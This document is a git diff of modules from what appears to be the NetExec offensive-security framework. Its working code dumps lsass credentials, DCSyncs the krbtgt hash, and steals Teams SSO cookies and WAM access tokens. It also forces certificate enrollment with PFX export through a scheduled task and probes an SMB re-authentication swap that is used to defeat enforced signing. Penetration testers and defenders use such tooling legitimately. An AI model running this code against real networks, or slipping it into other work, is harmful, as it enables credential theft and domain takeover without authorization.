||||
parsed = Parser(host, file).parse()
|
||||
finally:
|
||||
# Delete the remote file even when parsing failed, and even if closing it fails
|
||||
try:
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error closing dumper file: {e}")
|
||||
if ImpacketFile.delete(session, file.get_file_path()):
|
||||
context.log.debug("Deleted dumper file")
|
||||
else:
|
||||
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
|
||||
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
file_path = file.get_file_path()
|
||||
context.log.debug(f"File path: {file_path}")
|
||||
try:
|
||||
deleted_file = ImpacketFile.delete(session, file_path)
|
||||
if deleted_file:
|
||||
context.log.debug("Deleted dumper file")
|
||||
else:
|
||||
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
|
||||
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
|
||||
+134
-7
@@ -1,10 +1,21 @@
|
||||
import re
|
||||
import ntpath
|
||||
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
|
||||
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.nmb import NetBIOSError, NetBIOSTimeout
|
||||
from impacket.krb5.kerberosv5 import KerberosError
|
||||
from impacket import nt_errors
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Shutdown and Podalirius
|
||||
Module by Shutdown, Podalirius and serwiz
|
||||
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
|
||||
|
||||
Initial module:
|
||||
@@ -14,18 +25,16 @@ class NXCModule:
|
||||
Shutdown: @_nwodtuhs
|
||||
Podalirius: @podalirius_
|
||||
"""
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute and check SeMachineAccountPrivilege (GPO/SYSVOL)"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
|
||||
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
|
||||
@@ -34,3 +43,121 @@ class NXCModule:
|
||||
return
|
||||
|
||||
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
|
||||
|
||||
self.get_SeMachineAccountPrivilege(context, connection)
|
||||
|
||||
def get_SeMachineAccountPrivilege(self, context, connection):
|
||||
gpo_links = self.get_gpo_links(context, connection)
|
||||
if not gpo_links:
|
||||
context.log.debug("No enabled GPO links found for the domain and Domain Controllers OU")
|
||||
return
|
||||
context.log.debug(f"gPLink parsed: {gpo_links}")
|
||||
|
||||
try:
|
||||
smb = get_smb_connection(context, connection)
|
||||
except (OSError, SessionError, NetBIOSError, NetBIOSTimeout, KerberosError) as e:
|
||||
context.log.fail(f"Unable to connect to SYSVOL through SMB: {e}")
|
||||
return
|
||||
if not smb:
|
||||
return
|
||||
context.log.display("Getting SeMachineAccountPrivilege")
|
||||
|
||||
try:
|
||||
for link in gpo_links:
|
||||
guid = link["guid"]
|
||||
gpo_name = self.resolve_gpo(connection, guid) or f"{{{guid}}}"
|
||||
# Accessing the GPO in the SYSVOL share to parse GptTmpl.inf
|
||||
path = ntpath.join(connection.targetDomain, "Policies", f"{{{guid}}}", "MACHINE", "Microsoft", "Windows NT", "SecEdit", "GptTmpl.inf")
|
||||
|
||||
try:
|
||||
buf = BytesIO()
|
||||
smb.getFile("SYSVOL", path, buf.write)
|
||||
GptTmpl = buf.getvalue().decode("utf-16le")
|
||||
except SessionError as e:
|
||||
if e.getErrorCode() in (nt_errors.STATUS_NO_SUCH_FILE, nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_OBJECT_PATH_NOT_FOUND):
|
||||
context.log.debug(f"No GptTmpl.inf for GPO {guid}")
|
||||
else:
|
||||
enforced_str = ", Enforced" if link["enforced"] else ""
|
||||
context.log.fail(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}] not readable ({e.getErrorString()[0]}), result may be incomplete')
|
||||
continue
|
||||
except (OSError, NetBIOSError, NetBIOSTimeout, UnicodeError) as e:
|
||||
context.log.fail(f"Unable to read {path}: {e}")
|
||||
continue
|
||||
|
||||
# An absent setting inherits; an explicitly empty assignment overrides.
|
||||
for line in GptTmpl.splitlines():
|
||||
match = re.match(r"^\s*SeMachineAccountPrivilege\s*=(.*)$", line.lstrip("\ufeff"))
|
||||
if match:
|
||||
value = match.group(1).strip()
|
||||
break
|
||||
else:
|
||||
context.log.debug(f"SeMachineAccountPrivilege not in {path}")
|
||||
continue
|
||||
|
||||
enforced_str = ", Enforced" if link["enforced"] else ""
|
||||
context.log.success(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}]')
|
||||
context.log.info(f"\t{line.strip()}")
|
||||
if not value:
|
||||
context.log.highlight("SeMachineAccountPrivilege explicitly assigned to nobody")
|
||||
continue
|
||||
|
||||
principals = [principal.strip() for principal in value.split(",") if principal.strip()]
|
||||
for principal in principals:
|
||||
match = re.fullmatch(r"\*?(S-\d+(?:-\d+)+)", principal)
|
||||
if not match:
|
||||
context.log.highlight(f'\t\t - "{principal}"')
|
||||
continue
|
||||
sid = match.group(1)
|
||||
if sid in WELL_KNOWN_SIDS:
|
||||
context.log.highlight(f'\t\t - "{WELL_KNOWN_SIDS[sid]}" ({sid})')
|
||||
continue
|
||||
resp = connection.search(searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"])
|
||||
entries = parse_result_attributes(resp)
|
||||
if entries and entries[0].get("sAMAccountName"):
|
||||
context.log.highlight(f'\t\t - "{entries[0]["sAMAccountName"]}" ({sid})')
|
||||
else:
|
||||
context.log.highlight(f"\t\t - {sid} (unresolved)")
|
||||
finally:
|
||||
smb.logoff()
|
||||
|
||||
def get_gpo_links(self, context, connection):
|
||||
ou_dn = f"OU=Domain Controllers,{connection.baseDN}"
|
||||
gpo_links = []
|
||||
block_inheritance = False
|
||||
|
||||
for scope_dn in (ou_dn, connection.baseDN):
|
||||
ldap_response = connection.search(searchFilter=f"(distinguishedName={scope_dn})", baseDN=scope_dn, attributes=["gPLink", "gPOptions"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
if not entries:
|
||||
context.log.fail(f"Unable to read GPO links for {scope_dn}")
|
||||
return []
|
||||
if scope_dn == ou_dn:
|
||||
block_inheritance = bool(int(entries[0].get("gPOptions") or 0) & 0x1)
|
||||
for link in self.parse_gplink(entries[0].get("gPLink") or ""):
|
||||
if link["disabled"]:
|
||||
context.log.debug(f'GPO link {link["guid"]} disabled, skipping')
|
||||
continue
|
||||
if scope_dn == connection.baseDN and block_inheritance and not link["enforced"]:
|
||||
context.log.debug(f'GPO link {link["guid"]} blocked by inheritance, skipping')
|
||||
continue
|
||||
link["scope_dn"] = scope_dn
|
||||
# Enforced domain, enforced OU, normal OU, then normal domain links.
|
||||
link["priority"] = (0 if scope_dn == connection.baseDN else 1) if link["enforced"] else (2 if scope_dn == ou_dn else 3)
|
||||
gpo_links.append(link)
|
||||
return sorted(gpo_links, key=lambda link: (link["priority"], link["link_order"]))
|
||||
|
||||
def resolve_gpo(self, connection, guid):
|
||||
resp = connection.search(baseDN=f"CN=Policies,CN=System,{connection.baseDN}", searchFilter=f"(&(objectClass=groupPolicyContainer)(name={{{guid}}}))", attributes=["displayName", "name"])
|
||||
results = parse_result_attributes(resp)
|
||||
if not results:
|
||||
return ""
|
||||
return results[0].get("displayName") or results[0].get("name") or ""
|
||||
|
||||
def parse_gplink(self, gplink):
|
||||
raw_entries = re.findall(r"(?i)\[LDAP://cn=\{([0-9a-f\-]{36})\}[^;\]]*;(\d+)\]", gplink)
|
||||
parsed = []
|
||||
# Number every link, including disabled links (last listed = order 1).
|
||||
for link_order, (guid, flags_str) in enumerate(reversed(raw_entries), 1):
|
||||
flags = int(flags_str)
|
||||
parsed.append({"guid": guid, "flags": flags, "disabled": bool(flags & 0x1), "enforced": bool(flags & 0x2), "link_order": link_order})
|
||||
return parsed
|
||||
@@ -39,7 +39,7 @@ class NXCModule:
|
||||
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""KILL // Kill for notepad.exe process. Default False."""
|
||||
"""KILL Kill for notepad.exe process. Default: False"""
|
||||
if "KILL" not in module_options:
|
||||
self.kill = False
|
||||
else:
|
||||
|
||||
+47
-5
@@ -1,4 +1,5 @@
|
||||
import re
|
||||
from types import SimpleNamespace
|
||||
from impacket.dcerpc.v5 import samr, tsch
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
@@ -20,11 +21,46 @@ class NXCModule:
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""There are no module options."""
|
||||
"""
|
||||
ALTUSER Alternative domain user to enumerate admin groups with
|
||||
ALTPASS Password for ALTUSER
|
||||
ALTDOMAIN Domain FQDN of the alternative credentials
|
||||
ALTDC DC IP
|
||||
|
||||
When alternative credentials are supplied, Domain and Enterprise Admins are enumerated over SAMR against the DC using those credentials, rather than the local administrator session (which cannot enumerate these groups).
|
||||
"""
|
||||
self.altuser = module_options.get("ALTUSER")
|
||||
self.altpass = module_options.get("ALTPASS")
|
||||
self.altdomain = module_options.get("ALTDOMAIN")
|
||||
self.altdc = module_options.get("ALTDC")
|
||||
|
||||
alt_creds = [self.altuser, self.altpass, self.altdomain]
|
||||
if any(alt_creds) and not all(alt_creds):
|
||||
context.log.fail("ALTUSER, ALTPASS, and ALTDOMAIN must be specified together")
|
||||
return False
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
admin_users = self.enumerate_admin_users(context, connection)
|
||||
if self.altuser and self.altpass and self.altdomain:
|
||||
context.log.info(f"Using alternative domain credentials: {self.altdomain}\\{self.altuser}")
|
||||
alt_connection = SimpleNamespace(
|
||||
username=self.altuser,
|
||||
password=self.altpass,
|
||||
domain=self.altdomain,
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey=None,
|
||||
kerberos=False,
|
||||
kdcHost=self.altdc,
|
||||
conn=None,
|
||||
host=self.altdc,
|
||||
remoteName=self.altdc,
|
||||
port=445,
|
||||
)
|
||||
admin_users = self.enumerate_admin_users(context, alt_connection)
|
||||
else:
|
||||
admin_users = self.enumerate_admin_users(context, connection)
|
||||
|
||||
if not admin_users:
|
||||
context.log.fail("No admin users found.")
|
||||
return
|
||||
@@ -148,12 +184,18 @@ class NXCModule:
|
||||
context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}")
|
||||
|
||||
for process in processes:
|
||||
context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}")
|
||||
info = process.getProcessInfo()
|
||||
image_name = info["ImageName"].getValue()
|
||||
pid = info["UniqueProcessId"]
|
||||
session_id = info["SessionId"]
|
||||
psid = process.getSid()
|
||||
context.log.debug(f"ImageName: {image_name}, UniqueProcessId: {pid}, SessionId: {session_id}, pSid: {psid}")
|
||||
|
||||
# Check if process SID matches any admin user SID
|
||||
for user in admin_users:
|
||||
if process["pSid"] == user["sid"]:
|
||||
if psid == user["sid"]:
|
||||
user["in_tasks"] = True
|
||||
context.log.info(f"Matched process {process['ImageName']} with user {user['username']}")
|
||||
context.log.info(f"Matched process {image_name} with user {user['username']}")
|
||||
|
||||
def check_scheduled_tasks(self, context, connection, admin_users):
|
||||
"""Checks scheduled tasks over rpc."""
|
||||
|
||||
@@ -2,7 +2,6 @@ import os
|
||||
import datetime
|
||||
import re
|
||||
from contextlib import suppress
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
|
||||
from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
|
||||
from calendar import timegm
|
||||
@@ -20,6 +19,7 @@ from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GRO
|
||||
from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
|
||||
# Encryption type configurations: enctype, checksum, signature size, session key size
|
||||
ETYPE_CONFIG = {
|
||||
@@ -133,32 +133,6 @@ class NXCModule:
|
||||
else:
|
||||
self.context.log.fail("Could not retrieve child domain SID from connection.")
|
||||
|
||||
def _get_smb_session(self, ldap_conn):
|
||||
smb = SMBConnection(
|
||||
remoteName=ldap_conn.hostname,
|
||||
remoteHost=ldap_conn.host,
|
||||
sess_port=445,
|
||||
)
|
||||
|
||||
if ldap_conn.kerberos:
|
||||
smb.kerberosLogin(
|
||||
user=ldap_conn.username,
|
||||
password=ldap_conn.password,
|
||||
domain=ldap_conn.domain,
|
||||
lmhash=ldap_conn.lmhash,
|
||||
nthash=ldap_conn.nthash,
|
||||
aesKey=ldap_conn.aesKey,
|
||||
kdcHost=ldap_conn.kdcHost,
|
||||
useCache=ldap_conn.use_kcache,
|
||||
)
|
||||
elif ldap_conn.nthash or ldap_conn.lmhash:
|
||||
# NTLM pass-the-hash
|
||||
smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
|
||||
else:
|
||||
# NTLM with cleartext password
|
||||
smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
|
||||
return smb
|
||||
|
||||
def _get_domain_netbios(self, ldap_conn):
|
||||
resp = ldap_conn.search(
|
||||
baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
|
||||
@@ -225,11 +199,13 @@ class NXCModule:
|
||||
|
||||
def get_krbtgt_hash(self, connection):
|
||||
try:
|
||||
smb_conn = self._get_smb_session(connection)
|
||||
self._dcsync_krbtgt(smb_conn, connection)
|
||||
smb_conn = get_smb_connection(self.context, connection)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error during DCSync: {e}")
|
||||
return
|
||||
if not smb_conn:
|
||||
return
|
||||
self._dcsync_krbtgt(smb_conn, connection)
|
||||
|
||||
if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
|
||||
try:
|
||||
|
||||
@@ -232,6 +232,7 @@ class RdpWmi:
|
||||
return
|
||||
|
||||
try:
|
||||
*_, tgt, _ = connection.conn.getCredentials()
|
||||
self.__dcom = DCOMConnection(
|
||||
self.__target,
|
||||
self.__username,
|
||||
@@ -244,6 +245,7 @@ class RdpWmi:
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
TGT=tgt,
|
||||
)
|
||||
|
||||
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
import binascii
|
||||
import contextlib
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import SMB2SessionSetup, SMB2SessionSetup_Response
|
||||
from impacket.smb3structs import SMB2_SESSION_SETUP
|
||||
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module made by: Lyderic Lefebvre (@aas_s3curity) - https://blackfield.ch
|
||||
|
||||
Check if an SMB server still allows a cross-user re-authentication swap on an existing session:
|
||||
log in as one account, then re-authenticate as a different one on the same connection. That swap
|
||||
is the primitive an auth relay uses to keep a privileged session under a signing key it controls,
|
||||
defeating enforced SMB signing. Recent Windows builds allow same-user re-auth only and refuse the
|
||||
swap with ACCESS_DENIED. Microsoft fixed this server-side as CVE-2026-69676 (September 2026
|
||||
cumulative updates). Not derivable from the build number (feature-flagged: the same build can
|
||||
allow or refuse it), so it is probed live.
|
||||
https://blackfield.ch/blog/defeating-enforced-smb-signing/
|
||||
"""
|
||||
name = "reauth_swap"
|
||||
description = "Check if the server allows a cross-user re-auth swap on an SMB session (used to defeat enforced signing); needs a 2nd account"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
STATUS_SUCCESS = 0x00000000
|
||||
STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
|
||||
STATUS_ACCESS_DENIED = 0xC0000022
|
||||
STATUS_LOGON_FAILURE = 0xC000006D
|
||||
STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PROBE_USER second account, must differ from the login account (required)
|
||||
PROBE_PASS second account password
|
||||
PROBE_NTHASH second account NT hash (instead of PROBE_PASS)
|
||||
|
||||
The second account is probed over NTLM; its privileges do not matter.
|
||||
|
||||
Lockout warning: every target triggers one real NTLM logon as PROBE_USER
|
||||
(in the login account's domain). A correct password never increments
|
||||
badPwdCount, whether the host is patched (ACCESS_DENIED) or not (SUCCESS).
|
||||
A wrong PROBE_PASS/PROBE_NTHASH, or a PROBE_USER that does not exist in that
|
||||
domain, returns LOGON_FAILURE and raises badPwdCount once per host.
|
||||
Validate PROBE_USER on a single host before running wide.
|
||||
"""
|
||||
self.probe_user = module_options.get("PROBE_USER")
|
||||
self.probe_pass = module_options.get("PROBE_PASS", "")
|
||||
self.probe_nthash = module_options.get("PROBE_NTHASH", "")
|
||||
if not self.probe_user:
|
||||
context.log.fail("reauth_swap requires a second account: -o PROBE_USER=<user> PROBE_PASS=<pass> (must differ from the account nxc logged in with)")
|
||||
return False
|
||||
if not self.probe_pass and not self.probe_nthash:
|
||||
context.log.fail("reauth_swap requires PROBE_PASS or PROBE_NTHASH for the second account")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.probe_user.lower() == (connection.username or "").lower():
|
||||
context.log.fail("PROBE_USER must differ from the account nxc logged in with: only a cross-user swap is refused, so the same account always succeeds and tests nothing")
|
||||
return
|
||||
|
||||
# without enforced signing there is nothing to bypass: a relayed auth is accepted directly
|
||||
if not connection.signing:
|
||||
context.log.info("SMB signing not enforced, nothing to bypass - skipping")
|
||||
return
|
||||
|
||||
try:
|
||||
# fresh session so nxc's own connection is left untouched
|
||||
new_conn = get_smb_connection(context, connection, timeout=connection.args.smb_timeout)
|
||||
try:
|
||||
status = self.reauth_as(new_conn.getSMBServer(), self.probe_user, self.probe_pass, connection.domain, self.probe_nthash)
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
new_conn.close()
|
||||
except Exception as e:
|
||||
context.log.fail(f"could not probe this host: {e.__class__.__name__}: {e}")
|
||||
return
|
||||
|
||||
if status == self.STATUS_SUCCESS:
|
||||
context.log.highlight("VULNERABLE - enforced SMB signing bypassable")
|
||||
context.log.highlight("Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/")
|
||||
elif status == self.STATUS_ACCESS_DENIED:
|
||||
context.log.display("not vulnerable - cross-user re-auth swap refused (ACCESS_DENIED), same-user re-auth only")
|
||||
elif status == self.STATUS_LOGON_FAILURE:
|
||||
context.log.fail("PROBE_USER login failed (LOGON_FAILURE) - stop before repeated attempts lock the account out")
|
||||
elif status == self.STATUS_ACCOUNT_LOCKED_OUT:
|
||||
context.log.fail("PROBE_USER is locked out (ACCOUNT_LOCKED_OUT) - stop and let it reset")
|
||||
else:
|
||||
context.log.display(f"inconclusive - second session setup returned 0x{status:08X}")
|
||||
|
||||
def reauth_as(self, smb, user, password, domain, nthash):
|
||||
"""Replay an NTLM (Type1/Type3) session setup as `user` on an EXISTING session; return the NTSTATUS."""
|
||||
# Create NTLM Type1 message (challenge)
|
||||
type1 = ntlm.getNTLMSSPType1("", domain)
|
||||
blob = SPNEGO_NegTokenInit()
|
||||
blob["MechTypes"] = [TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]]
|
||||
blob["MechToken"] = type1.getData()
|
||||
|
||||
setup = SMB2SessionSetup()
|
||||
setup["Flags"] = 0
|
||||
setup["SecurityMode"] = 1
|
||||
setup["SecurityBufferLength"] = len(blob.getData())
|
||||
setup["Buffer"] = blob.getData()
|
||||
pkt = smb.SMB_PACKET()
|
||||
pkt["Command"] = SMB2_SESSION_SETUP
|
||||
pkt["Data"] = setup
|
||||
|
||||
ans = smb.recvSMB(smb.sendSMB(pkt))
|
||||
if ans["Status"] != self.STATUS_MORE_PROCESSING_REQUIRED:
|
||||
return ans["Status"]
|
||||
|
||||
resp = SMB2SessionSetup_Response(ans["Data"])
|
||||
try:
|
||||
type2 = SPNEGO_NegTokenResp(resp["Buffer"])["ResponseToken"]
|
||||
except Exception:
|
||||
raw = resp["Buffer"]
|
||||
type2 = raw[raw.index(b"NTLMSSP"):]
|
||||
|
||||
lm = nt = ""
|
||||
if nthash:
|
||||
lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
|
||||
nt = binascii.unhexlify(nthash)
|
||||
|
||||
# Create NTLM Type3 message (authentication)
|
||||
type3, _ = ntlm.getNTLMSSPType3(type1, type2, user, password, domain, lmhash=lm, nthash=nt)
|
||||
blob2 = SPNEGO_NegTokenResp()
|
||||
blob2["ResponseToken"] = type3.getData()
|
||||
|
||||
setup2 = SMB2SessionSetup()
|
||||
setup2["Flags"] = 0
|
||||
setup2["SecurityMode"] = 1
|
||||
setup2["SecurityBufferLength"] = len(blob2.getData())
|
||||
setup2["Buffer"] = blob2.getData()
|
||||
|
||||
pkt2 = smb.SMB_PACKET()
|
||||
pkt2["Command"] = SMB2_SESSION_SETUP
|
||||
pkt2["Data"] = setup2
|
||||
|
||||
ans2 = smb.recvSMB(smb.sendSMB(pkt2))
|
||||
return ans2["Status"]
|
||||
+16
-16
@@ -80,7 +80,10 @@ class NXCModule:
|
||||
self.logger.fail("You need to specify a USER to run the task as")
|
||||
return
|
||||
|
||||
if self.command_to_run.lower() == "certreq":
|
||||
# certreq mode is decided from the original CMD here, because self.command_to_run is later
|
||||
# reassigned to the batch path; the PFX download below is gated on this same flag
|
||||
self.is_certreq = self.command_to_run.lower() == "certreq"
|
||||
if self.is_certreq:
|
||||
if self.ca_name is None:
|
||||
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
|
||||
return
|
||||
@@ -96,21 +99,18 @@ class NXCModule:
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
set "BASE={full_path_prefixed_file}"
|
||||
certreq -new "%BASE%.inf" "%BASE%.req" > nul
|
||||
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
|
||||
certutil -user -addstore my "%BASE%.cer" > nul
|
||||
set "HASH="
|
||||
for /f "tokens=2 delims=:" %%A in ('
|
||||
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
|
||||
') do (
|
||||
set "tmp=%%A"
|
||||
set "tmp=!tmp: =!"
|
||||
set "HASH=!tmp!"
|
||||
)
|
||||
certreq -new "%BASE%.inf" "%BASE%.req" > nul || exit /b 10
|
||||
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul || exit /b 11
|
||||
if not exist "%BASE%.cer" exit /b 12
|
||||
|
||||
if "!HASH!"=="" (
|
||||
exit /b 1
|
||||
)
|
||||
rem Read the SHA1 thumbprint of the certificate we just enrolled, directly from its own file
|
||||
rem (locale- and encoding-independent), so repairstore/exportPFX/delstore can only ever touch
|
||||
rem that one certificate, never a pre-existing certificate in the user's store
|
||||
set "HASH="
|
||||
for /f "usebackq delims=" %%A in (`powershell -NoProfile -Command "(New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 '%BASE%.cer').Thumbprint"`) do set "HASH=%%A"
|
||||
if "!HASH!"=="" exit /b 13
|
||||
|
||||
certutil -user -addstore my "%BASE%.cer" > nul || exit /b 14
|
||||
certutil -user -repairstore my !HASH! > nul 2>&1
|
||||
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
|
||||
certutil -user -delstore my !HASH! > nul 2>&1
|
||||
@@ -212,7 +212,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
|
||||
|
||||
if self.ca_name and self.template_name:
|
||||
if self.is_certreq:
|
||||
dump_path = path.join(NXC_PATH, "modules/schtask_as")
|
||||
if not path.isdir(dump_path):
|
||||
makedirs(dump_path)
|
||||
|
||||
@@ -6,16 +6,18 @@ from os.path import abspath, join
|
||||
|
||||
class NXCModule:
|
||||
name = "teams_localdb"
|
||||
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
|
||||
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
"""KILL Kill all Teams processes before retrieving the Cookies database. Default: False"""
|
||||
self.kill = module_options.get("KILL", "false").lower() == "true"
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
context.log.display("Killing all Teams process to open the cookie file")
|
||||
connection.execute("taskkill /F /T /IM teams.exe")
|
||||
if self.kill:
|
||||
context.log.display("Killing all Teams processes to open the cookie file")
|
||||
connection.execute("taskkill /F /T /IM teams.exe")
|
||||
found = 0
|
||||
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
|
||||
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
|
||||
@@ -33,6 +35,8 @@ class NXCModule:
|
||||
context.log.debug(str(e))
|
||||
context.log.highlight("Found Cookie file in path " + path)
|
||||
context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
|
||||
if not self.kill:
|
||||
context.log.display("Use -o KILL=True to terminate Teams before retrieving the Cookies database")
|
||||
if found == 0:
|
||||
context.log.display("No cookie file found in Users folder")
|
||||
|
||||
|
||||
+8
-3
@@ -1,5 +1,6 @@
|
||||
import re
|
||||
import jwt
|
||||
import json
|
||||
from base64 import urlsafe_b64decode
|
||||
from dploot.triage.wam import WamTriage
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
@@ -28,10 +29,14 @@ class NXCModule:
|
||||
if attrib["Key"].decode() == "WTRes_Token":
|
||||
# Extract every access token
|
||||
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
|
||||
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
|
||||
try:
|
||||
decoded_token = json.loads(urlsafe_b64decode(access_token.split(".")[1] + "=="))
|
||||
except ValueError:
|
||||
context.log.fail(f"[{token.winuser}] Could not decode the token payload (JWE or malformed): {access_token}")
|
||||
continue
|
||||
if "preferred_username" in decoded_token:
|
||||
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
|
||||
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log)
|
||||
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", context.log)
|
||||
|
||||
try:
|
||||
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
|
||||
+6
-1
@@ -108,6 +108,10 @@ def main():
|
||||
nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
|
||||
exit(1)
|
||||
|
||||
if args.protocol == "smb" and args.unpac and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
|
||||
nxc_logger.fail("--unpac requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
|
||||
exit(1)
|
||||
|
||||
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
|
||||
nxc_logger.error("KRB5CCNAME environment variable is not set")
|
||||
exit(1)
|
||||
@@ -160,7 +164,8 @@ def main():
|
||||
|
||||
if args.module or args.list_modules is not None:
|
||||
loader = ModuleLoader(args, db, nxc_logger)
|
||||
modules = loader.list_modules()
|
||||
# -L lists every module, -M only needs the requested ones
|
||||
modules = loader.list_modules(None if args.list_modules is not None else args.module)
|
||||
|
||||
if args.list_modules is not None:
|
||||
